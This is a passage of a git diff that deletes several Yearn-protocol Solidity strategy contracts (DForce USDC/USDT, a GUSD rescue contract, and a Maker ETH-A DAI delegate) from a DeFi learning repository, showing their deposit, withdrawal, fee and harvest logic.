-        governance = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyDAICurve";
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeApprove(y, 0);
-            IERC20(want).safeApprove(y, _want);
-            yERC20(y).deposit(_want);
-        }
-        uint256 _y = IERC20(y).balanceOf(address(this));
-        if (_y > 0) {
-            IERC20(y).safeApprove(curve, 0);
-            IERC20(y).safeApprove(curve, _y);
-            ICurveFi(curve).add_liquidity([_y, 0, 0, 0], 0);
-        }
-        uint256 _ycrv = IERC20(ycrv).balanceOf(address(this));
-        if (_ycrv > 0) {
-            IERC20(ycrv).safeApprove(yycrv, 0);
-            IERC20(ycrv).safeApprove(yycrv, _ycrv);
-            yERC20(yycrv).deposit(_ycrv);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(y != address(_asset), "y");
-        require(ycrv != address(_asset), "ycrv");
-        require(yycrv != address(_asset), "yycrv");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, _amount);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function withdrawUnderlying(uint256 _amount) internal returns (uint256) {
-        IERC20(ycrv).safeApprove(curve, 0);
-        IERC20(ycrv).safeApprove(curve, _amount);
-        ICurveFi(curve).remove_liquidity(_amount, [uint256(0), 0, 0, 0]);
-
-        uint256 _yusdc = IERC20(yusdc).balanceOf(address(this));
-        uint256 _yusdt = IERC20(yusdt).balanceOf(address(this));
-        uint256 _ytusd = IERC20(ytusd).balanceOf(address(this));
-
-        if (_yusdc > 0) {
-            IERC20(yusdc).safeApprove(curve, 0);
-            IERC20(yusdc).safeApprove(curve, _yusdc);
-            ICurveFi(curve).exchange(1, 0, _yusdc, 0);
-        }
-        if (_yusdt > 0) {
-            IERC20(yusdt).safeApprove(curve, 0);
-            IERC20(yusdt).safeApprove(curve, _yusdt);
-            ICurveFi(curve).exchange(2, 0, _yusdt, 0);
-        }
-        if (_ytusd > 0) {
-            IERC20(ytusd).safeApprove(curve, 0);
-            IERC20(ytusd).safeApprove(curve, _ytusd);
-            ICurveFi(curve).exchange(3, 0, _ytusd, 0);
-        }
-
-        uint256 _before = IERC20(want).balanceOf(address(this));
-        yERC20(ydai).withdraw(IERC20(ydai).balanceOf(address(this)));
-        uint256 _after = IERC20(want).balanceOf(address(this));
-
-        return _after.sub(_before);
-    }
-
-    function _withdrawAll() internal {
-        uint256 _yycrv = IERC20(yycrv).balanceOf(address(this));
-        if (_yycrv > 0) {
-            yERC20(yycrv).withdraw(_yycrv);
-            withdrawUnderlying(IERC20(ycrv).balanceOf(address(this)));
-        }
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        // calculate amount of ycrv to withdraw for amount of _want_
-        uint256 _ycrv = _amount.mul(1e18).div(ICurveFi(curve).get_virtual_price());
-        // calculate amount of yycrv to withdraw for amount of _ycrv_
-        uint256 _yycrv = _ycrv.mul(1e18).div(yERC20(yycrv).getPricePerFullShare());
-        uint256 _before = IERC20(ycrv).balanceOf(address(this));
-        yERC20(yycrv).withdraw(_yycrv);
-        uint256 _after = IERC20(ycrv).balanceOf(address(this));
-        return withdrawUnderlying(_after.sub(_before));
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfYYCRV() public view returns (uint256) {
-        return IERC20(yycrv).balanceOf(address(this));
-    }
-
-    function balanceOfYYCRVinYCRV() public view returns (uint256) {
-        return balanceOfYYCRV().mul(yERC20(yycrv).getPricePerFullShare()).div(1e18);
-    }
-
-    function balanceOfYYCRVinyTUSD() public view returns (uint256) {
-        return balanceOfYYCRVinYCRV().mul(ICurveFi(curve).get_virtual_price()).div(1e18);
-    }
-
-    function balanceOfYCRV() public view returns (uint256) {
-        return IERC20(ycrv).balanceOf(address(this));
-    }
-
-    function balanceOfYCRVyTUSD() public view returns (uint256) {
-        return balanceOfYCRV().mul(ICurveFi(curve).get_virtual_price()).div(1e18);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfYYCRVinyTUSD());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDForceUSDC.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDForceUSDC.sol
deleted file mode 100644
index fd3287a62..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDForceUSDC.sol
+++ /dev/null
@@ -1,191 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/dforce/Rewards.sol";
-import "../../interfaces/dforce/Token.sol";
-import "../../interfaces/uniswap/Uni.sol";
-
-import "../../interfaces/yearn/IController.sol";
-
-contract StrategyDForceUSDC {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // USDC
-    address public constant dusdc = address(0x16c9cF62d8daC4a38FB50Ae5fa5d51E9170F3179);
-    address public constant pool = address(0xB71dEFDd6240c45746EC58314a01dd6D833fD3b5);
-    address public constant df = address(0x431ad2ff6a9C365805eBaD47Ee021148d6f7DBe0);
-    address public constant uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for df <> weth <> usdc route
-
-    uint256 public performanceFee = 5000;
-    uint256 public constant performanceMax = 10000;
-
-    uint256 public withdrawalFee = 500;
-    uint256 public constant withdrawalMax = 10000;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyDForceUSDC";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance, "!governance");
-        strategist = _strategist;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setPerformanceFee(uint256 _performanceFee) external {
-        require(msg.sender == governance, "!governance");
-        performanceFee = _performanceFee;
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeApprove(dusdc, 0);
-            IERC20(want).safeApprove(dusdc, _want);
-            dERC20(dusdc).mint(address(this), _want);
-        }
-
-        uint256 _dusdc = IERC20(dusdc).balanceOf(address(this));
-        if (_dusdc > 0) {
-            IERC20(dusdc).safeApprove(pool, 0);
-            IERC20(dusdc).safeApprove(pool, _dusdc);
-            dRewards(pool).stake(_dusdc);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(dusdc != address(_asset), "dusdc");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        dRewards(pool).exit();
-        uint256 _dusdc = IERC20(dusdc).balanceOf(address(this));
-        if (_dusdc > 0) {
-            dERC20(dusdc).redeem(address(this), _dusdc);
-        }
-    }
-
-    function harvest() public {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        dRewards(pool).getReward();
-        uint256 _df = IERC20(df).balanceOf(address(this));
-        if (_df > 0) {
-            IERC20(df).safeApprove(uni, 0);
-            IERC20(df).safeApprove(uni, _df);
-
-            address[] memory path = new address[](3);
-            path[0] = df;
-            path[1] = weth;
-            path[2] = want;
-
-            Uni(uni).swapExactTokensForTokens(_df, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(performanceFee).div(performanceMax);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            deposit();
-        }
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        uint256 _dusdc = _amount.mul(1e18).div(dERC20(dusdc).getExchangeRate());
-        uint256 _before = IERC20(dusdc).balanceOf(address(this));
-        dRewards(pool).withdraw(_dusdc);
-        uint256 _after = IERC20(dusdc).balanceOf(address(this));
-        uint256 _withdrew = _after.sub(_before);
-        _before = IERC20(want).balanceOf(address(this));
-        dERC20(dusdc).redeem(address(this), _withdrew);
-        _after = IERC20(want).balanceOf(address(this));
-        _withdrew = _after.sub(_before);
-        return _withdrew;
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return (dRewards(pool).balanceOf(address(this))).mul(dERC20(dusdc).getExchangeRate()).div(1e18);
-    }
-
-    function getExchangeRate() public view returns (uint256) {
-        return dERC20(dusdc).getExchangeRate();
-    }
-
-    function balanceOfDUSDC() public view returns (uint256) {
-        return dERC20(dusdc).getTokenBalance(address(this));
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfDUSDC()).add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDForceUSDT.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDForceUSDT.sol
deleted file mode 100644
index 27fe001d0..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyDForceUSDT.sol
+++ /dev/null
@@ -1,191 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/dforce/Rewards.sol";
-import "../../interfaces/dforce/Token.sol";
-import "../../interfaces/uniswap/Uni.sol";
-
-import "../../interfaces/yearn/IController.sol";
-
-contract StrategyDForceUSDT {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0xdAC17F958D2ee523a2206206994597C13D831ec7);
-    address public constant d = address(0x868277d475E0e475E38EC5CdA2d9C83B5E1D9fc8);
-    address public constant pool = address(0x324EebDAa45829c6A8eE903aFBc7B61AF48538df);
-    address public constant df = address(0x431ad2ff6a9C365805eBaD47Ee021148d6f7DBe0);
-    address public constant uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for df <> weth <> usdc route
-
-    uint256 public performanceFee = 5000;
-    uint256 public constant performanceMax = 10000;
-
-    uint256 public withdrawalFee = 50;
-    uint256 public constant withdrawalMax = 10000;
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyDForceUSDT";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance, "!governance");
-        strategist = _strategist;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setPerformanceFee(uint256 _performanceFee) external {
-        require(msg.sender == governance, "!governance");
-        performanceFee = _performanceFee;
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeApprove(d, 0);
-            IERC20(want).safeApprove(d, _want);
-            dERC20(d).mint(address(this), _want);
-        }
-
-        uint256 _d = IERC20(d).balanceOf(address(this));
-        if (_d > 0) {
-            IERC20(d).safeApprove(pool, 0);
-            IERC20(d).safeApprove(pool, _d);
-            dRewards(pool).stake(_d);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(d != address(_asset), "d");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        dRewards(pool).exit();
-        uint256 _d = IERC20(d).balanceOf(address(this));
-        if (_d > 0) {
-            dERC20(d).redeem(address(this), _d);
-        }
-    }
-
-    function harvest() public {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        dRewards(pool).getReward();
-        uint256 _df = IERC20(df).balanceOf(address(this));
-        if (_df > 0) {
-            IERC20(df).safeApprove(uni, 0);
-            IERC20(df).safeApprove(uni, _df);
-
-            address[] memory path = new address[](3);
-            path[0] = df;
-            path[1] = weth;
-            path[2] = want;
-
-            Uni(uni).swapExactTokensForTokens(_df, uint256(0), path, address(this), now.add(1800));
-        }
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(performanceFee).div(performanceMax);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-            deposit();
-        }
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        uint256 _d = _amount.mul(1e18).div(dERC20(d).getExchangeRate());
-        uint256 _before = IERC20(d).balanceOf(address(this));
-        dRewards(pool).withdraw(_d);
-        uint256 _after = IERC20(d).balanceOf(address(this));
-        uint256 _withdrew = _after.sub(_before);
-        _before = IERC20(want).balanceOf(address(this));
-        dERC20(d).redeem(address(this), _withdrew);
-        _after = IERC20(want).balanceOf(address(this));
-        _withdrew = _after.sub(_before);
-        return _withdrew;
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfPool() public view returns (uint256) {
-        return (dRewards(pool).balanceOf(address(this))).mul(dERC20(d).getExchangeRate()).div(1e18);
-    }
-
-    function getExchangeRate() public view returns (uint256) {
-        return dERC20(d).getExchangeRate();
-    }
-
-    function balanceOfD() public view returns (uint256) {
-        return dERC20(d).getTokenBalance(address(this));
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfD()).add(balanceOfPool());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyGUSDRescue.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyGUSDRescue.sol
deleted file mode 100644
index 4b3729652..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyGUSDRescue.sol
+++ /dev/null
@@ -1,48 +0,0 @@
-pragma solidity ^0.5.17;
-
-interface IERC20 {
-    function totalSupply() external view returns (uint256);
-
-    function balanceOf(address account) external view returns (uint256);
-
-    function transfer(address recipient, uint256 amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint256);
-
-    function decimals() external view returns (uint256);
-
-    function approve(address spender, uint256 amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint256 amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint256 value);
-    event Approval(address indexed owner, address indexed spender, uint256 value);
-}
-
-contract StrategyGUSDRescue {
-    address public constant want = address(0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd);
-    address public governance = address(0xFEB4acf3df3cDEA7399794D0869ef76A6EfAff52);
-
-    constructor() public {}
-
-    function getName() external pure returns (string memory) {
-        return "StrategyGUSDRescue";
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        IERC20(want).transfer(governance, _want);
-    }
-
-    function withdrawAll() public returns (uint256) {
-        return 0;
-    }
-
-    function balanceOf() public pure returns (uint256) {
-        return 0;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyMKRVaultDAIDelegate.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyMKRVaultDAIDelegate.sol
deleted file mode 100644
index 0ce37b58b..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyMKRVaultDAIDelegate.sol
+++ /dev/null
@@ -1,478 +0,0 @@
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/maker/Maker.sol";
-import "../../interfaces/uniswap/Uni.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/yearn/IStrategy.sol";
-import "../../interfaces/yearn/IVault.sol";
-
-/*
-
- A strategy must implement the following calls;
-
- - deposit()
- - withdraw(address) must exclude any tokens used in the yield - Controller role - withdraw should return to Controller
- - withdraw(uint) - Controller | Vault role - withdraw should always return to vault
- - withdrawAll() - Controller | Vault role - withdraw should always return to vault
- - balanceOf()
-
- Where possible, strategies must remain as immutable as possible, instead of updating variables, we update the contract by linking it in the controller
-
-*/
-contract StrategyMKRVaultDAIDelegate {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant token = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
-    address public constant want = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
-    address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
-    address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-
-    address public cdp_manager = address(0x5ef30b9986345249bc32d8928B7ee64DE9435E39);
-    address public vat = address(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B);
-    address public mcd_join_eth_a = address(0x2F0b23f53734252Bda2277357e97e1517d6B042A);
-    address public mcd_join_dai = address(0x9759A6Ac90977b93B58547b4A71c78317f391A28);
-    address public mcd_spot = address(0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3);
-    address public jug = address(0x19c0976f590D67707E62397C87829d896Dc0f1F1);
-
-    address public eth_price_oracle = address(0xCF63089A8aD2a9D8BD6Bb8022f3190EB7e1eD0f1);
-    address public constant yVaultDAI = address(0xACd43E627e64355f1861cEC6d3a6688B31a6F952);
-
-    address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
-    address public constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
-
-    uint256 public c = 20000;
-    uint256 public c_safe = 40000;
-    uint256 public buffer = 500;
-    uint256 public constant c_base = 10000;
-    uint256 public performanceFee = 450;
-    uint256 public withdrawalFee = 0;
-    uint256 public strategistReward = 50;
-
-    bytes32 public constant ilk = "ETH-A";
-
-    address public governance;
-    address public controller;
-    address public strategist;
-    address public keeper;
-    address public dex;
-
-    uint256 public cdpId;
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        keeper = msg.sender;
-        controller = _controller;
-        dex = uniswap;
-        cdpId = ManagerLike(cdp_manager).open(ilk, address(this));
-        _approveAll();
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyMKRVaultDAIDelegate";
-    }
-
-    function setStrategist(address _strategist) external {
-        require(msg.sender == governance, "!governance");
-        strategist = _strategist;
-    }
-
-    function setKeeper(address _keeper) external {
-        require(msg.sender == keeper || msg.sender == governance, "!allowed");
-        keeper = _keeper;
-    }
-
-    function setWithdrawalFee(uint256 _withdrawalFee) external {
-        require(msg.sender == governance, "!governance");
-        withdrawalFee = _withdrawalFee;
-    }
-
-    function setPerformanceFee(uint256 _performanceFee) external {
-        require(msg.sender == governance, "!governance");
-        performanceFee = _performanceFee;
-    }
-
-    function setStrategistReward(uint256 _strategistReward) external {
-        require(msg.sender == governance, "!governance");
-        strategistReward = _strategistReward;
-    }
-
-    function setBorrowCollateralizationRatio(uint256 _c) external {
-        require(msg.sender == governance, "!governance");
-        c = _c;
-    }
-
-    function setWithdrawCollateralizationRatio(uint256 _c_safe) external {
-        require(msg.sender == governance, "!governance");
-        c_safe = _c_safe;
-    }
-
-    function setBuffer(uint256 _buffer) external {
-        require(msg.sender == governance, "!governance");
-        buffer = _buffer;
-    }
-
-    function setOracle(address _oracle) external {
-        require(msg.sender == governance, "!governance");
-        eth_price_oracle = _oracle;
-    }
-
-    // optional
-    function setMCDValue(
-        address _manager,
-        address _ethAdapter,
-        address _daiAdapter,
-        address _spot,
-        address _jug
-    ) external {
-        require(msg.sender == governance, "!governance");
-        cdp_manager = _manager;
-        vat = ManagerLike(_manager).vat();
-        mcd_join_eth_a = _ethAdapter;
-        mcd_join_dai = _daiAdapter;
-        mcd_spot = _spot;
-        jug = _jug;
-    }
-
-    function switchDex(bool isUniswap) external {
-        require(msg.sender == strategist || msg.sender == governance, "!authorized");
-        if (isUniswap) {
-            dex = uniswap;
-        } else {
-            dex = sushiswap;
-        }
-    }
-
-    function _approveAll() internal {
-        IERC20(token).approve(mcd_join_eth_a, uint256(-1));
-        IERC20(dai).approve(mcd_join_dai, uint256(-1));
-        VatLike(vat).hope(mcd_join_dai);
-        IERC20(dai).approve(yVaultDAI, uint256(-1));
-        IERC20(dai).approve(uniswap, uint256(-1));
-        IERC20(dai).approve(sushiswap, uint256(-1));
-    }
-
-    function deposit() public {
-        uint256 _token = IERC20(token).balanceOf(address(this));
-        if (_token > 0) {
-            uint256 p = _getPrice();
-            uint256 _draw = _token.mul(p).mul(c_base).div(c).div(1e18);
-            // approve adapter to use token amount
-            require(_checkDebtCeiling(_draw), "debt ceiling is reached!");
-            _lockWETHAndDrawDAI(_token, _draw);
-
-            // approve yVaultDAI use DAI
-            IVault(yVaultDAI).depositAll();
-        }
-    }
-
-    function _getPrice() internal view returns (uint256 p) {
-        (uint256 _read, ) = OSMedianizer(eth_price_oracle).read();
-        (uint256 _foresight, ) = OSMedianizer(eth_price_oracle).foresight();
-        p = _foresight < _read ? _foresight : _read;
-    }
-
-    function _checkDebtCeiling(uint256 _amt) internal view returns (bool) {
-        (, , , uint256 _line, ) = VatLike(vat).ilks(ilk);
-        uint256 _debt = getTotalDebtAmount().add(_amt);
-        if (_line.div(1e27) < _debt) {
-            return false;
-        }
-        return true;
-    }
-
-    function _lockWETHAndDrawDAI(uint256 wad, uint256 wadD) internal {
-        address urn = ManagerLike(cdp_manager).urns(cdpId);
-        if (wad > 0) {
-            GemJoinLike(mcd_join_eth_a).join(urn, wad);
-        }
-        ManagerLike(cdp_manager).frob(cdpId, toInt(wad), _getDrawDart(urn, wadD));
-        ManagerLike(cdp_manager).move(cdpId, address(this), wadD.mul(1e27));
-        if (wadD > 0) {
-            DaiJoinLike(mcd_join_dai).exit(address(this), wadD);
-        }
-    }
-
-    function _getDrawDart(address urn, uint256 wad) internal returns (int256 dart) {
-        uint256 rate = JugLike(jug).drip(ilk);
-        uint256 _dai = VatLike(vat).dai(urn);
-
-        // If there was already enough DAI in the vat balance, just exits it without adding more debt
-        if (_dai < wad.mul(1e27)) {
-            dart = toInt(wad.mul(1e27).sub(_dai).div(rate));
-            dart = uint256(dart).mul(rate) < wad.mul(1e27) ? dart + 1 : dart;
-        }
-    }
-
-    function toInt(uint256 x) internal pure returns (int256 y) {
-        y = int256(x);
-        require(y >= 0, "int-overflow");
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(dai != address(_asset), "dai");
-        require(yVaultDAI != address(_asset), "ydai");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        uint256 _fee = _amount.mul(withdrawalFee).div(c_base);
-
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        uint256 _wipe = 0;
-        if (getTotalDebtAmount() != 0 && getmVaultRatio(_amount) < c_safe.mul(1e2)) {
-            uint256 p = _getPrice();
-            _wipe = _withdrawDaiLeast(_amount.mul(p).div(1e18));
-        }
-
-        _freeWETHandWipeDAI(_amount, _wipe);
-
-        return _amount;
-    }
-
-    function _freeWETHandWipeDAI(uint256 wad, uint256 wadD) internal {
-        address urn = ManagerLike(cdp_manager).urns(cdpId);
-        if (wadD > 0) {
-            DaiJoinLike(mcd_join_dai).join(urn, wadD);
-        }
-        ManagerLike(cdp_manager).frob(cdpId, -toInt(wad), _getWipeDart(VatLike(vat).dai(urn), urn));
-        ManagerLike(cdp_manager).flux(cdpId, address(this), wad);
-        if (wad > 0) {
-            GemJoinLike(mcd_join_eth_a).exit(address(this), wad);
-        }
-    }
-
-    function _getWipeDart(uint256 _dai, address urn) internal view returns (int256 dart) {
-        (, uint256 rate, , , ) = VatLike(vat).ilks(ilk);
-        (, uint256 art) = VatLike(vat).urns(ilk, urn);
-
-        dart = toInt(_dai / rate);
-        dart = uint256(dart) <= art ? -dart : -toInt(art);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        _swap(IERC20(dai).balanceOf(address(this)));
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
